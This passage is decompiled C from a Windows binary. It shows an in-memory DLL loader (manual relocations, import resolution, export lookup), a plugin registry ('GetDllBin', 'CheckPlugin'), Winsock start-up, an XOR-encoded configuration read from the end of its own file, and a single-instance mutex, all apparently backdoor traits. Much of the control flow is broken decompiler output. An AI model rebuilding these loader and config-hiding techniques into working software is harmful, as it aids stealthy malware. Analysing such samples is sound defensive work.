  4497. int32_t lpAddress2 = *(int32_t *)(v2 - 28); // 0x403438
  4498. VirtualFree((int32_t *)lpAddress2, *(int32_t *)(v2 - 20), 0x4000);
  4499. // branch -> 0x40348a
  4500. goto lab_0x40348a;
  4501. }
  4502. }
  4503. // 0x4034a2
  4504. // branch -> 0x4034a5
  4505. // 0x4034a5
  4506. g2 = v1;
  4507. return result2;
  4508. }
  4509.  
  4510. // Address range: 0x4034a7 - 0x403520
  4511. int32_t function_4034a7(int32_t * a1, int32_t a2) {
  4512. int32_t v1 = g2; // 0x4034a7
  4513. int32_t v2 = g7; // 0x4034ad
  4514. int32_t v3 = *(int32_t *)((int32_t)a1 + 4); // 0x4034ae
  4515. int32_t v4 = *a1; // 0x4034b1
  4516. int32_t result = v4 + 160; // 0x4034b3
  4517. if (*(int32_t *)(v4 + 164) == 0) {
  4518. // 0x40351e
  4519. g7 = v2;
  4520. g2 = v1;
  4521. return result;
  4522. }
  4523. int32_t result2 = *(int32_t *)result + v3; // 0x4034c0
  4524. int32_t v5 = result2; // eax
  4525. int32_t v6 = *(int32_t *)result2; // 0x4034c2
  4526. if (v6 == 0) {
  4527. // 0x40351e
  4528. g7 = v2;
  4529. g2 = v1;
  4530. return result2;
  4531. }
  4532. int32_t v7 = g3; // 0x4034c8
  4533. int32_t v8 = g5; // 0x4034c9
  4534. // branch -> 0x4034ca
  4535. while (true) {
  4536. int32_t v9 = v6 + v3; // edi
  4537. int32_t v10 = result2 + 8; // 0x4034d4
  4538. int32_t v11 = result2; // 0x403513
  4539. int32_t v12; // 0x403516
  4540. int32_t result3; // 0x403513
  4541. if ((*(int32_t *)(result2 + 4) & -2) != 8) {
  4542. int32_t v13 = result2; // 0x4035016
  4543. int32_t v14 = 0;
  4544. while (true) {
  4545. uint16_t v15 = *(int16_t *)v10; // 0x4034e2
  4546. int32_t v16 = v13; // 0x403501
  4547. if (((int32_t)v15 & -0x10000 || (int32_t)(v15 & -0x1000)) == 0x3000) {
  4548. int32_t * v17 = (int32_t *)(v9 + ((int32_t)v15 & 4095)); // 0x4034ff
  4549. *v17 = *v17 + a2;
  4550. v16 = v5;
  4551. // branch -> 0x403501
  4552. }
  4553. int32_t v18 = v14 + 1; // 0x403504
  4554. int32_t v19 = v10 + 2; // 0x40350d
  4555. if (v18 >= (*(int32_t *)(v16 + 4) - 8) / 2) {
  4556. v11 = v16;
  4557. // break -> 0x403513
  4558. break;
  4559. }
  4560. v13 = v16;
  4561. v10 = v19;
  4562. v14 = v18;
  4563. // continue -> 0x4034e2
  4564. }
  4565. // 0x403513
  4566. result3 = *(int32_t *)(v11 + 4) + v11;
  4567. v5 = result3;
  4568. v12 = *(int32_t *)result3;
  4569. if (v12 == 0) {
  4570. // 0x40351c
  4571. g5 = v8;
  4572. g3 = v7;
  4573. // branch -> 0x40351e
  4574. // 0x40351e
  4575. g7 = v2;
  4576. g2 = v1;
  4577. return result3;
  4578. }
  4579. lab_0x403513:
  4580. // 0x403513
  4581. result2 = result3;
  4582. v6 = v12;
  4583. // branch -> 0x4034ca
  4584. continue;
  4585. }
  4586. // 0x403513
  4587. result3 = *(int32_t *)(v11 + 4) + v11;
  4588. v5 = result3;
  4589. v12 = *(int32_t *)result3;
  4590. if (v12 != 0) {
  4591. goto lab_0x403513;
  4592. }
  4593. // 0x40351c
  4594. g5 = v8;
  4595. g3 = v7;
  4596. // branch -> 0x40351e
  4597. // 0x40351e
  4598. g7 = v2;
  4599. g2 = v1;
  4600. return result3;
  4601. }
  4602. }
  4603.  
  4604. // Address range: 0x403521 - 0x40361d
  4605. int32_t function_403521(int32_t * a1) {
  4606. int32_t v1 = (int32_t)a1;
  4607. int32_t v2 = g7; // 0x403529
  4608. int32_t v3 = *a1; // 0x40352a
  4609. int32_t v4 = *(int32_t *)(v1 + 4); // 0x40352c
  4610. int32_t v5 = g5; // 0x403534
  4611. if (*(int32_t *)(v3 + 132) == 0) {
  4612. // 0x403613
  4613. g5 = v5;
  4614. g7 = v2;
  4615. return 1;
  4616. }
  4617. int32_t lp = *(int32_t *)(v3 + 128) + v4;
  4618. // branch -> 0x40354b
  4619. while (true) {
  4620. int32_t v6 = lp; // edi
  4621. if (IsBadReadPtr((int32_t *)lp, 20)) {
  4622. // 0x403613
  4623. g5 = v5;
  4624. g7 = v2;
  4625. return 1;
  4626. }
  4627. int32_t v7 = *(int32_t *)(v6 + 12); // 0x40355c
  4628. if (v7 == 0) {
  4629. // 0x403613
  4630. g5 = v5;
  4631. g7 = v2;
  4632. return 1;
  4633. }
  4634. int32_t * moduleHandle = LoadLibraryA((char *)(v4 + v7)); // 0x40356a
  4635. if (moduleHandle == (int32_t *)-1) {
  4636. // 0x40360e
  4637. // branch -> 0x403613
  4638. // 0x403613
  4639. g5 = v5;
  4640. g7 = v2;
  4641. return 0;
  4642. }
  4643. int32_t v8 = *(int32_t *)(v1 + 8); // 0x40358a
  4644. int32_t * mem = realloc((int32_t *)v8, 4 * *(int32_t *)(v1 + 12) + 4); // 0x40358d
  4645. int32_t v9 = (int32_t)mem; // 0x40358d
  4646. *(int32_t *)(v1 + 8) = v9;
  4647. if (mem != NULL) {
  4648. // 0x40359c
  4649. *(int32_t *)(4 * *(int32_t *)(v1 + 12) + v9) = (int32_t)moduleHandle;
  4650. int32_t * v10 = (int32_t *)(v1 + 12); // 0x4035a2
  4651. *v10 = *v10 + 1;
  4652. int32_t v11 = v6; // 0x4035a5
  4653. int32_t v12 = *(int32_t *)v11; // 0x4035a5
  4654. int32_t v13 = *(int32_t *)(v11 + 16); // 0x4035b8
  4655. int32_t v14; // 0x4035bb
  4656. if (v12 == 0) {
  4657. // 0x4035b8
  4658. v14 = v4 + v13;
  4659. // branch -> 0x4035c2
  4660. } else {
  4661. // 0x4035ab
  4662. v14 = v4 + v12;
  4663. // branch -> 0x4035c2
  4664. }
  4665. int32_t v15 = v14; // esi
  4666. int32_t v16 = *(int32_t *)v14; // 0x4035c613
  4667. if (v16 != 0) {
  4668. int32_t v17 = v14;
  4669. while (true) {
  4670. // 0x4035cc
  4671. int32_t lpProcName;
  4672. if (v16 > -1) {
  4673. // 0x4035da
  4674. lpProcName = v4 + v16 + 2;
  4675. // branch -> 0x4035df
  4676. } else {
  4677. // 0x4035d3
  4678. lpProcName = v16 & 0xffff;
  4679. // branch -> 0x4035df
  4680. }
  4681. int32_t (*func)() = GetProcAddress(moduleHandle, (char *)lpProcName); // 0x4035e4
  4682. *(int32_t *)v15 = (int32_t)func;
  4683. if (func == NULL) {
  4684. // 0x4035ff
  4685. // branch -> 0x403613
  4686. // 0x403613
  4687. g5 = v5;
  4688. g7 = v2;
  4689. return 0;
  4690. }
  4691. int32_t v18 = v17 + 4; // 0x4035f0
  4692. v15 += 4;
  4693. int32_t v19 = *(int32_t *)v18; // 0x4035c6
  4694. if (v19 == 0) {
  4695. // break -> 0x4035ff
  4696. break;
  4697. }
  4698. v16 = v19;
  4699. v17 = v18;
  4700. // continue -> 0x4035cc
  4701. }
  4702. // 0x4035ff
  4703. // branch -> 0x4035ff
  4704. }
  4705. // 0x4035ff
  4706. lp = v6 + 20;
  4707. // branch -> 0x40354b
  4708. continue;
  4709. }
  4710. // 0x40360e
  4711. // branch -> 0x403613
  4712. // 0x403613
  4713. g5 = v5;
  4714. g7 = v2;
  4715. return 0;
  4716. }
  4717. }
  4718.  
  4719. // Address range: 0x40361e - 0x4036a8
  4720. int32_t function_40361e(int32_t * a1, int32_t a2) {
  4721. int32_t v1 = g7; // 0x403628
  4722. int32_t v2 = *(int32_t *)((int32_t)a1 + 4); // 0x403629
  4723. int32_t v3 = *a1; // 0x40362c
  4724. int32_t v4 = g5; // 0x403631
  4725. if (*(int32_t *)(v3 + 124) == 0) {
  4726. // 0x403685
  4727. // branch -> 0x403687
  4728. // 0x403687
  4729. g5 = v4;
  4730. g7 = v1;
  4731. return 0;
  4732. }
  4733. int32_t v5 = *(int32_t *)(v3 + 120); // 0x40363a
  4734. int32_t v6 = v5 + v2; // 0x403640
  4735. if (*(int32_t *)(v2 + 24 + v5) == 0) {
  4736. // 0x403685
  4737. // branch -> 0x403687
  4738. // 0x403687
  4739. g5 = v4;
  4740. g7 = v1;
  4741. return 0;
  4742. }
  4743. // 0x403646
  4744. if (*(int32_t *)(v6 + 20) != 0) {
  4745. int32_t v7 = *(int32_t *)(v6 + 32) + v2; // 0x403651
  4746. int32_t v8 = *(int32_t *)(v6 + 36) + v2; // ebx
  4747. int32_t v9 = 0;
  4748. // branch -> 0x403661
  4749. while (true) {
  4750. int32_t v10 = *(int32_t *)v7; // 0x403661
  4751. if (_stricmp((char *)a2, (char *)(v10 + v2)) == 0) {
  4752. uint32_t v11 = (int32_t)*(int16_t *)v8; // 0x40368c
  4753. if (v11 <= *(int32_t *)(v6 + 20)) {
  4754. int32_t v12 = *(int32_t *)(v6 + 28); // 0x403699
  4755. // branch -> 0x403687
  4756. // 0x403687
  4757. g5 = v4;
  4758. g7 = v1;
  4759. return *(int32_t *)(v12 + 4 * v11 + v2) + v2;
  4760. }
  4761. } else {
  4762. int32_t v13 = v9 + 1; // 0x403675
  4763. v8 += 2;
  4764. if (v13 < *(int32_t *)(v6 + 24)) {
  4765. // 0x40365e
  4766. v7 += 4;
  4767. v9 = v13;
  4768. // branch -> 0x403661
  4769. continue;
  4770. }
  4771. }
  4772. // 0x403685
  4773. // branch -> 0x403687
  4774. // 0x403687
  4775. g5 = v4;
  4776. g7 = v1;
  4777. return 0;
  4778. }
  4779. }
  4780. // 0x403685
  4781. // branch -> 0x403687
  4782. // 0x403687
  4783. g5 = v4;
  4784. g7 = v1;
  4785. return 0;
  4786. }
  4787.  
  4788. // Address range: 0x4036a9 - 0x403721
  4789. int32_t function_4036a9(int32_t * a1) {
  4790. int32_t v1 = (int32_t)a1;
  4791. int32_t v2 = 0; // ebx
  4792. if (a1 == NULL) {
  4793. // 0x40371f
  4794. int32_t result;
  4795. return result;
  4796. }
  4797. int32_t v3 = 0; // 0x4036d4
  4798. int32_t v4 = v1; // 0x4036d4
  4799. if (*(int32_t *)(v1 + 16) != 0) {
  4800. // 0x4036ba
  4801. __pseudo_call(*(int32_t *)(*a1 + 40) + *(int32_t *)(v1 + 4));
  4802. *(int32_t *)(v1 + 16) = v2;
  4803. v3 = v2;
  4804. v4 = v1;
  4805. // branch -> 0x4036cc
  4806. }
  4807. int32_t dwSize = v3; // 0x403708
  4808. int32_t v5 = v4; // 0x4036fc
  4809. int32_t lpMem; // 0x403710
  4810. int32_t dwFlags; // 0x403711
  4811. int32_t * hHeap; // 0x403712
  4812. int32_t lpAddress; // 0x4036fc
  4813. int32_t result2; // 0x403719
  4814. if (*(int32_t *)(v4 + 8) != v3) {
  4815. int32_t v6 = 0; // edi
  4816. if (*(int32_t *)(v4 + 12) > v3) {
  4817. int32_t v7 = 0; // 0x4036dc
  4818. int32_t v8 = v4; // 0x4036d9
  4819. int32_t v9; // 0x4036ec
  4820. while (true) {
  4821. int32_t hLibModule = *(int32_t *)(*(int32_t *)(v8 + 8) + 4 * v7); // 0x4036dc
  4822. v9 = v8;
  4823. int32_t v10 = v7; // 0x4036eb
  4824. if (hLibModule != -1) {
  4825. // 0x4036e4
  4826. FreeLibrary((int32_t *)hLibModule);
  4827. v9 = v1;
  4828. v10 = v6;
  4829. // branch -> 0x4036eb
  4830. }
  4831. int32_t v11 = v10 + 1; // 0x4036eb
  4832. v6 = v11;
  4833. if (v11 >= *(int32_t *)(v9 + 12)) {
  4834. // break -> 0x4036f1
  4835. break;
  4836. }
  4837. v7 = v11;
  4838. v8 = v9;
  4839. // continue -> 0x4036d9
  4840. }
  4841. // 0x4036f1
  4842. free((int32_t *)*(int32_t *)(v9 + 8));
  4843. dwSize = v2;
  4844. v5 = v1;
  4845. // branch -> 0x4036fc
  4846. // 0x4036fc
  4847. lpAddress = *(int32_t *)(v5 + 4);
  4848. if (lpAddress == dwSize) {
  4849. // 0x4036fc
  4850. dwFlags = dwSize;
  4851. lpMem = v5;
  4852. // branch -> 0x403710
  4853. } else {
  4854. // 0x403703
  4855. VirtualFree((int32_t *)lpAddress, dwSize, 0x8000);
  4856. dwFlags = v2;
  4857. lpMem = v1;
  4858. // branch -> 0x403710
  4859. }
  4860. // 0x403710
  4861. hHeap = GetProcessHeap();
  4862. result2 = HeapFree(hHeap, dwFlags, (int32_t *)lpMem);
  4863. // branch -> 0x40371f
  4864. // 0x40371f
  4865. return result2;
  4866. }
  4867. // 0x4036f1
  4868. free((int32_t *)*(int32_t *)(v4 + 8));
  4869. dwSize = v2;
  4870. v5 = v1;
  4871. // branch -> 0x4036fc
  4872. }
  4873. // 0x4036fc
  4874. lpAddress = *(int32_t *)(v5 + 4);
  4875. if (lpAddress == dwSize) {
  4876. // 0x4036fc
  4877. dwFlags = dwSize;
  4878. lpMem = v5;
  4879. // branch -> 0x403710
  4880. } else {
  4881. // 0x403703
  4882. VirtualFree((int32_t *)lpAddress, dwSize, 0x8000);
  4883. dwFlags = v2;
  4884. lpMem = v1;
  4885. // branch -> 0x403710
  4886. }
  4887. // 0x403710
  4888. hHeap = GetProcessHeap();
  4889. result2 = HeapFree(hHeap, dwFlags, (int32_t *)lpMem);
  4890. // branch -> 0x40371f
  4891. // 0x40371f
  4892. return result2;
  4893. }
  4894.  
  4895. // Address range: 0x403722 - 0x40376e
  4896. int32_t function_403722(void) {
  4897. int32_t v1 = g4 + 328; // edi
  4898. int32_t v2 = function_402e17(0, 0, g5); // 0x403739
  4899. *(int32_t *)(v1 + 8) = 0;
  4900. *(int32_t *)(v1 + 4) = v2;
  4901. *(int32_t *)(g4 + 340) = 0;
  4902. *(int32_t *)g4 = (int32_t)&g13;
  4903. strncpy((char *)(g4 + 264), "GetDllBin", 64);
  4904. g7 = 0;
  4905. return g4;
  4906. }
  4907.  
  4908. // Address range: 0x40376f - 0x40378a
  4909. int32_t function_40376f(char a1) {
  4910. int32_t v1 = g7; // 0x40376f
  4911. g7 = g4;
  4912. function_40378b(v1);
  4913. if ((a1 & 1) != 0) {
  4914. // 0x40377e
  4915. __3f__3f_3_40_YAXPAX_40_Z(g7);
  4916. // branch -> 0x403785
  4917. }
  4918. // 0x403785
  4919. return g7;
  4920. }
  4921.  
  4922. // Address range: 0x40378b - 0x403804
  4923. int32_t function_40378b(int32_t a1) {
  4924. // 0x40378b
  4925. function_404b60();
  4926. int32_t v1 = g4; // 0x403795
  4927. int32_t v2 = g7; // 0x403796
  4928. g7 = v1;
  4929. *(int32_t *)(g2 - 16) = v1;
  4930. *(int32_t *)g7 = (int32_t)&g13;
  4931. *(int32_t *)(g2 - 4) = 0;
  4932. int32_t v3 = g7; // 0x4037a6
  4933. if (*(int32_t *)(v3 + 336) == 0) {
  4934. // 0x4037e9
  4935. *(int32_t *)(g2 - 4) = -1;
  4936. g4 = g7 + 328;
  4937. function_402db4();
  4938. g7 = v2;
  4939. abort();
  4940. // UNREACHABLE
  4941. }
  4942. int32_t v4 = g5; // 0x4037b0
  4943. int32_t v5 = v3; // 0x4037b7
  4944. // branch -> 0x4037b7
  4945. int32_t v6; // bp-20
  4946. while (true) {
  4947. int32_t v7 = *(int32_t *)(*(int32_t *)*(int32_t *)(v5 + 332) + 8); // 0x4037bf
  4948. if (v7 != 0) {
  4949. // 0x4037c6
  4950. v6 = 1;
  4951. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  4952. __3f__3f_3_40_YAXPAX_40_Z(v7);
  4953. // branch -> 0x4037d7
  4954. }
  4955. // 0x4037d7
  4956. g4 = v3 + 328;
  4957. function_403a96();
  4958. int32_t v8 = g7; // 0x4037de
  4959. if (*(int32_t *)(v8 + 336) == 0) {
  4960. // break -> 0x4037e7
  4961. break;
  4962. }
  4963. v5 = v8;
  4964. // continue -> 0x4037b7
  4965. }
  4966. // 0x4037e7
  4967. g5 = v6;
  4968. g3 = v4;
  4969. // branch -> 0x4037e9
  4970. // 0x4037e9
  4971. *(int32_t *)(g2 - 4) = -1;
  4972. g4 = g7 + 328;
  4973. function_402db4();
  4974. g7 = v2;
  4975. abort();
  4976. // UNREACHABLE
  4977. }
  4978.  
  4979. // Address range: 0x403805 - 0x403a35
  4980. int32_t function_403805(void) {
  4981. // 0x403805
  4982. function_404b60();
  4983. int32_t v1 = *(int32_t *)(g2 + 8); // 0x403817
  4984. int32_t v2 = v1; // esi
  4985. g3 = g4;
  4986. int32_t v3 = _stricmp((char *)(v1 + 162), "CheckPlugin"); // 0x403829
  4987. int32_t v4; // bp-548
  4988. *(int32_t *)(g2 - 16) = (int32_t)&v4;
  4989. v4 = (int32_t)*(char *)(g2 + 11) | v3 & -256;
  4990. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  4991. char * v5; // bp-556
  4992. if (v3 == 0) {
  4993. char * str = (char *)(v2 + 232); // 0x403856
  4994. v5 = str;
  4995. int32_t len = strlen(str); // 0x403857
  4996. v5 = (char *)len;
  4997. int32_t v6 = v2 + 232; // 0x40385e
  4998. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v6, len);
  4999. g4 = g3;
  5000. int32_t v7 = function_403a36(); // 0x40386f
  5001. *(char *)(g2 - 532) = 0;
  5002. *(int32_t *)(g2 + 8) = v7;
  5003. int32_t v8 = g2 - 531; // 0x403883
  5004. _memset((char *)v8, 0, 127);
  5005. *(int16_t *)v8 = 0;
  5006. *(char *)(g2 - 529) = 0;
  5007. strncpy((char *)(g2 - 532), (char *)(g7 + 232), 256);
  5008. strncat((char *)(g2 - 532), *(int32_t *)(g2 + 8) == 0 ? "no" : "ok", 2);
  5009. strlen((char *)(g2 - 532));
  5010. __pseudo_call(*(int32_t *)(g3 + 4));
  5011. // branch -> 0x403a23
  5012. // 0x403a23
  5013. g5 = v6;
  5014. g7 = (int32_t)v5;
  5015. abort();
  5016. // UNREACHABLE
  5017. }
  5018. char * str2 = (char *)(v2 + 130); // 0x403917
  5019. v5 = str2;
  5020. int32_t len2 = strlen(str2); // 0x403918
  5021. *(int32_t *)&v5 = len2;
  5022. int32_t v9 = v2 + 130; // 0x40391f
  5023. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v9, len2);
  5024. g4 = g3;
  5025. int32_t v10 = function_403a36(); // 0x403930
  5026. if (v10 == 0) {
  5027. int32_t v11 = __3f__3f_2_40_YAPAXI_40_Z(28); // 0x403976
  5028. *(int32_t *)(g2 - 16) = v11;
  5029. int32_t v12 = 0; // eax
  5030. *(int32_t *)(g2 - 4) = 0;
  5031. if (v11 != 0) {
  5032. // 0x40398a
  5033. *(char *)v11 = *(char *)(g2 + 11);
  5034. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v12);
  5035. v12 = v11;
  5036. // branch -> 0x40399a
  5037. }
  5038. // 0x40399a
  5039. *(int32_t *)(g2 - 4) = -1;
  5040. *(int32_t *)(g2 + 8) = v12;
  5041. memset((int32_t *)(char *)v12, (int32_t)NULL, 28);
  5042. int32_t str3 = g7 + 130; // 0x4039ae
  5043. g5 = str3;
  5044. *(int32_t *)(g2 - 16) = *(int32_t *)(g2 + 8);
  5045. int32_t len3 = strlen((char *)str3); // 0x4039b8
  5046. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(g5, len3);
  5047. int32_t str4 = g7 + 232; // 0x4039ce
  5048. g7 = str4;
  5049. *(int32_t *)(*(int32_t *)(g2 + 8) + 16) = 0;
  5050. *(int32_t *)(*(int32_t *)(g2 + 8) + 20) = atol((char *)str4);
  5051. int32_t v13 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x4039e8
  5052. *(int32_t *)(*(int32_t *)(g2 + 8) + 24) = __3f__3f_2_40_YAPAXI_40_Z(v13);
  5053. int32_t v14 = *(int32_t *)(g2 + 8); // 0x4039f6
  5054. memset((int32_t *)*(int32_t *)(v14 + 24), 0, *(int32_t *)(v14 + 20));
  5055. g4 = g3 + 328;
  5056. function_403ab9((int32_t *)(g2 - 20), *(int32_t *)(g3 + 332), g2 + 8);
  5057. // branch -> 0x403a23
  5058. } else {
  5059. int32_t v15 = *(int32_t *)(g7 + 228); // 0x40393b
  5060. int32_t * v16 = (int32_t *)(v10 + 16); // 0x403941
  5061. int32_t v17 = *v16; // 0x403941
  5062. if (*(int32_t *)(v10 + 20) >= v17 + v15) {
  5063. int32_t v18 = *(int32_t *)(v10 + 24) + v17; // 0x40395b
  5064. memcpy((int32_t *)v18, (int32_t *)(g7 + 232), v15);
  5065. *v16 = *v16 + *(int32_t *)(g7 + 228);
  5066. // branch -> 0x403a23
  5067. }
  5068. }
  5069. // 0x403a23
  5070. g5 = v9;
  5071. g7 = (int32_t)v5;
  5072. abort();
  5073. // UNREACHABLE
  5074. }
  5075.  
  5076. // Address range: 0x403a36 - 0x403a95
  5077. int32_t function_403a36(void) {
  5078. // 0x403a36
  5079. function_404b60();
  5080. *(int32_t *)(g2 - 4) = 0;
  5081. int32_t v1 = *(int32_t *)(g4 + 332); // 0x403a4e
  5082. int32_t v2 = *(int32_t *)v1; // 0x403a4e
  5083. int32_t v3 = v2; // esi
  5084. if (v2 == v1) {
  5085. // 0x403a6e
  5086. // branch -> 0x403a70
  5087. } else {
  5088. // branch -> 0x403a54
  5089. while (true) {
  5090. int32_t v4 = *(int32_t *)(v2 + 8); // 0x403a54
  5091. if (_3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHABV12_40__40_Z(v4) == 0) {
  5092. // 0x403a91
  5093. // branch -> 0x403a70
  5094. // 0x403a70
  5095. *(int32_t *)(g2 - 4) = -1;
  5096. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5097. g5 = 1;
  5098. g7 = 0;
  5099. abort();
  5100. // UNREACHABLE
  5101. }
  5102. int32_t v5 = *(int32_t *)v3; // 0x403a64
  5103. v3 = v5;
  5104. if (v5 == *(int32_t *)(g4 + 332)) {
  5105. // break -> 0x403a6e
  5106. break;
  5107. }
  5108. v2 = v5;
  5109. // continue -> 0x403a54
  5110. }
  5111. // 0x403a6e
  5112. // branch -> 0x403a70
  5113. }
  5114. // 0x403a70
  5115. *(int32_t *)(g2 - 4) = -1;
  5116. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5117. g5 = 1;
  5118. int32_t v6; // bp-12
  5119. g7 = v6;
  5120. abort();
  5121. // UNREACHABLE
  5122. }
  5123.  
  5124. // Address range: 0x403a96 - 0x403ab8
  5125. int32_t function_403a96(void) {
  5126. int32_t v1 = *(int32_t *)*(int32_t *)(g4 + 4); // 0x403a9c
  5127. *(int32_t *)*(int32_t *)(v1 + 4) = *(int32_t *)v1;
  5128. *(int32_t *)(*(int32_t *)v1 + 4) = *(int32_t *)(v1 + 4);
  5129. int32_t result = __3f__3f_3_40_YAXPAX_40_Z(v1); // 0x403aae
  5130. int32_t * v2 = (int32_t *)(g4 + 8); // 0x403ab3
  5131. *v2 = *v2 - 1;
  5132. return result;
  5133. }
  5134.  
  5135. // Address range: 0x403ab9 - 0x403af0
  5136. int32_t function_403ab9(int32_t * a1, int32_t a2, int32_t a3) {
  5137. int32_t v1 = function_402e17(a2, *(int32_t *)(a2 + 4), g5); // 0x403ac5
  5138. *(int32_t *)(a2 + 4) = v1;
  5139. *(int32_t *)*(int32_t *)(v1 + 4) = v1;
  5140. int32_t v2 = v1 + 8; // 0x403ad2
  5141. if (v2 != 0) {
  5142. // 0x403ad9
  5143. *(int32_t *)v2 = *a1;
  5144. // branch -> 0x403ae1
  5145. }
  5146. int32_t * v3 = (int32_t *)(g4 + 8); // 0x403ae5
  5147. *v3 = *v3 + 1;
  5148. g5 = a2;
  5149. *(int32_t *)g7 = v1;
  5150. return g7;
  5151. }
  5152.  
  5153. // Address range: 0x403af1 - 0x403afa
  5154. int32_t function_403af1(void) {
  5155. // 0x403af1
  5156. function_403afb();
  5157. return function_403b21();
  5158. }
  5159.  
  5160. // Address range: 0x403afb - 0x403b20
  5161. int32_t function_403afb(void) {
  5162. int32_t result = function_402e17(0, 0, g4); // 0x403b0e
  5163. g49 = 0;
  5164. g48 = result;
  5165. return result;
  5166. }
  5167.  
  5168. // Address range: 0x403b21 - 0x403b36
  5169. int32_t function_403b21(void) {
  5170. // 0x403b21
  5171. return function_404ac4(0x403b2d);
  5172. }
  5173.  
  5174. // Address range: 0x403b37 - 0x403b40
  5175. int32_t function_403b37(void) {
  5176. // 0x403b37
  5177. function_403b41();
  5178. return function_403b67();
  5179. }
  5180.  
  5181. // Address range: 0x403b41 - 0x403b66
  5182. int32_t function_403b41(void) {
  5183. int32_t result = function_402e17(0, 0, g4); // 0x403b54
  5184. g47 = 0;
  5185. g46 = result;
  5186. return result;
  5187. }
  5188.  
  5189. // Address range: 0x403b67 - 0x403b7c
  5190. int32_t function_403b67(void) {
  5191. // 0x403b67
  5192. return function_404ac4(0x403b73);
  5193. }
  5194.  
  5195. // Address range: 0x403b7d - 0x403b86
  5196. int32_t function_403b7d(void) {
  5197. // 0x403b7d
  5198. function_403b87();
  5199. return function_403b91();
  5200. }
  5201.  
  5202. // Address range: 0x403b87 - 0x403b90
  5203. int32_t function_403b87(void) {
  5204. // 0x403b87
  5205. g4 = &g50;
  5206. return function_401967();
  5207. }
  5208.  
  5209. // Address range: 0x403b91 - 0x403ba6
  5210. int32_t function_403b91(void) {
  5211. // 0x403b91
  5212. return function_404ac4(0x403b9d);
  5213. }
  5214.  
  5215. // Address range: 0x403ba7 - 0x403bc9
  5216. int32_t function_403ba7(int32_t a1, int32_t a2, int32_t a3) {
  5217. int32_t v1 = 0; // bp-400
  5218. int32_t v2 = WSAStartup(257, (struct WSAData *)&v1); // 0x403bb7
  5219. return (v2 != 0 ? 2 : 1) | -v2 & -256;
  5220. }
  5221.  
  5222. // Address range: 0x403bca - 0x403fc9
  5223. int32_t function_403bca(void) {
  5224. char * v1 = (char *)g2; // bp-4
  5225. g2 = (int32_t)&v1;
  5226. abort();
  5227. // UNREACHABLE
  5228. }
  5229.  
  5230. // Address range: 0x403fca - 0x404342
  5231. int32_t function_403fca(int32_t a1) {
  5232. int32_t v1 = g2; // bp-4
  5233. g2 = &v1;
  5234. char str; // bp-128
  5235. int32_t v2 = &str; // 0x403fcd
  5236. if ((char)function_403ba7(g5, g7, g3) == 0) {
  5237. // 0x40433a
  5238. return 0;
  5239. }
  5240. int32_t v3 = *(int32_t *)__p__pgmptr(); // 0x403feb
  5241. __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(v3);
  5242. int32_t lpMutexAttributes = 0; // ebx
  5243. int32_t v4 = __3f_GetLength_40_CFile_40__40_UBEKXZ() - 1912; // 0x403fff
  5244. __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(v4, 0);
  5245. memset((int32_t *)&g53, lpMutexAttributes, 1912);
  5246. __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z((int32_t)&g53, 1912);
  5247. char * v5 = (char *)(int32_t)&g53; // 0x40402f
  5248. *v5 = *v5 ^ 89;
  5249. int32_t v6 = 1; // 0x404036
  5250. // branch -> 0x40402f
  5251. while (v6 < 1912) {
  5252. // 0x40402f
  5253. v5 = (char *)(v6 + (int32_t)&g53);
  5254. *v5 = *v5 ^ 89;
  5255. v6++;
  5256. // continue -> 0x40402f
  5257. }
  5258. int32_t * v7 = CreateMutexA((struct _SECURITY_ATTRIBUTES *)lpMutexAttributes, true, (char *)&g56); // 0x404043
  5259. int32_t hObject = (int32_t)v7; // 0x404043
  5260. int16_t v8; // bp-12
  5261. int16_t v9; // bp-127
  5262. char v10; // bp-32
  5263. unsigned char v11;
  5264. int32_t v12; // 0x404107
  5265. int32_t v13; // 0x404191
  5266. int32_t v14; // 0x404100
  5267. int32_t v15; // 0x40416b
  5268. int32_t time_val; // 0x404069
  5269. int32_t len; // 0x404150
  5270. if (hObject != lpMutexAttributes) {
  5271. // 0x40404f
  5272. if (GetLastError() != 183) {
  5273. // 0x40404f
  5274. // branch -> 0x404068
  5275. // 0x404068
  5276. time_val = time((int32_t *)lpMutexAttributes);
  5277. srand(time_val);
  5278. function_403bca();
  5279. memcpy(&g39, &g55, 16);
  5280. memcpy((int32_t *)&g40, (int32_t *)&g57, 16);
  5281. memcpy((int32_t *)&g42, (int32_t *)&g58, 64);
  5282. memcpy(&g43, (int32_t *)&g59, 64);
  5283. memcpy((int32_t *)&g44, (int32_t *)&g60, 32);
  5284. memcpy((int32_t *)&g45, (int32_t *)&g61, 32);
  5285. memcpy(&g41, (int32_t *)"direct", 16);
  5286. str = 0;
  5287. v14 = &v9;
  5288. _memset((char *)&v9, 0, 15);
  5289. v9 = 0;
  5290. v12 = v14 + 2;
  5291. *(char *)v12 = 0;
  5292. g5 = v12 + 1;
